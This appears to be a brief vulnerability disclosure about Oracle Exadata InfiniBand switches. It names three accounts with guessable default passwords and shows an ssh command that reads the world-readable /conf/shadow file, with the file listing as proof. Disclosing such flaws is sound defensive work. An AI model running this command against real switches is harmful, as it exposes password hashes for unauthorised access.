The oracle engineered solution contains two leaf switches and in larger installations a spine switch. The installation I worked with didn't have a spine switch, but the two leaf switches were configured with three logins with easily guessable passwords and a shadow file that was world readable.

There are three accounts with easily guessable default passwords on the exadata inifiniband switches:

ilom-admin,ilom-operator and nm2user.
rux0r:~ meep0$ ssh ilom-admin@192.168.0.113 "cat /conf/shadow"

The shadow file is world readable:

[root@exad-1swib2 ~]# ls -l /conf/shadow -rw-r--r-- 1 root root 749 Dec 23 2011 /conf/shadow
